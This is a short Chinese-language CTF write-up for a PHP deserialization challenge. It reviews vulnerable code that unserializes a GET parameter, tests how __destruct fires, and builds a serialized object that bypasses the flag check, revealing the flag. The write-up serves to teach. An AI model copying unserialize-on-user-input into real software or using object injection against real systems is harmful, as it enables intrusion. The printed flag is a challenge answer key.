easy php serialize

serialize函数

serialize函数用于序列化对象或者数组,并返回一个字符串。方便将它传递以及储存。但当unserialize时,会检查是否存在几种魔法函数。在反序列化过程中,会执行魔法函数,此类魔法函数参考

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 

include 'flag.php';
highlight_file(__FILE__);

class T {
public $id;
public $content;

function __destruct() {
global $flag;
if (($this->content !== $this->id) &&
(file_get_contents($this->content) === $this->id))
echo $flag;
}
}
unserialize($_GET['o']);

测试__destruct函数

1
2
3
4
5
6
7
8
9
10
11
<?php
class T {
public $id;
function __destruct() {
echo 'run destruct';
}
}
$T1 = new T();
$T1->id = 1;
$T2 = serialize($T1);
echo $T2; //得到serialize执行后的结果 O:1:"T":1:{s:2:"id";i:1;}

代入

1
2
3
4
5
6
7
8
<?php
class T {
public $id;
function __destruct() {
echo 'run destruct';
}
}
unserialize('O:1:"T":1:{s:2:"id";i:1;}'); //结果为 run destruct

因此在执行unserialize过程中会执行destruct函数。

测试判断条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class T {
public $id;
public $content;
function __destruct() {
global $flag;
var_dump(file_get_contents($this->content)); //false
var_dump($this->content !== $this->id);
var_dump(file_get_contents($this->content) === $this->id);
}
}
$T1 = new T();
$T1->id = false;
$T1->content = 1;
$T2 = serialize($T1);
echo $T2;

当第8、9行的结果为ture时,验证通过,此时得到flag{e4sy_5eria1ize}。

0%